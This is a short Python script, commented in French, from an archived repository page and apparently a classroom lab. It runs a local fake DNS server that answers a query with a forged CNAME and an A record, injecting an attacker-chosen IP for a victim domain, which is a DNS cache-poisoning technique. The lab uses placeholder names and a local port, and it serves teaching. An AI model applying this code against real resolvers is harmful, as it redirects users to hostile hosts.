You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
This repo is archived. You can view files and clone it, but cannot push or open issues/pull-requests.

42 lines
1.9 KiB

#!/usr/bin/env python3
import socket
# Des fonctions utilitaires pour encoder les paquets DNS.
# Vous pouvez y jetter un oeil si vous voulez mais ce n'est pas le plus important.
from dns_utils import *
# DNS utilise UDP en temps normal
sok = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Notre faux DNS est joignable localement sur le port 25566
sok.bind(("127.0.0.1", 25566))
# Attendre l'arrivée d'un paquet (requete) DNS
request, client = sok.recvfrom(512)
print("Traitement de la requete pour", client)
# Le nom de domaine utilisé comme alias pour s'affranchir des problèmes de cache
# TODO
alias_name = encode_name(b"existepas.nomde.domaine")
# Le véritable nom de domaine visé par l'attaque
spoofed_name = encode_name(b"nomde.domaine")
# L'adresse IP injectée dans le nom de domaine victime (spoofed_name)
injected_address = bytes((111, 111, 111, 111))
# Pour la simplicité, on ne tient compte que de l'identifiant de la requete qui est nécéssaire pour la réponse
identifier = request[:2]
# On fabrique la réponse en utilisant le même identifiant
response: bytes = identifier
# Puis on met les entêtes classiques
response += encode_header(response=True, opcode=0, authoritative=False, truncated=False, rec_d=True, rec_a=True, rcode=0, questions=1, answers=2, authorities=0, additional=0)
# On remet la question (ici elle est assumée être la même)
response += encode_question_entry(encoded_name=alias_name, type=TYPE_A, clazz=CLASS_IN)
# La réponse pour le nom de domaine demandé qui est un alias pour le nom victime
response += encode_response_entry(encoded_name=alias_name, type=TYPE_CNAME, clazz=CLASS_IN, ttl=3600, rdata=spoofed_name)
# La 2e réponse pour le nom de domaine victime, avec notre adresse IP injectée
response += encode_response_entry(encoded_name=spoofed_name, type=TYPE_A, clazz=CLASS_IN, ttl=3600, rdata=injected_address)
# Envoyer la réponse au client
sok.sendto(response, client)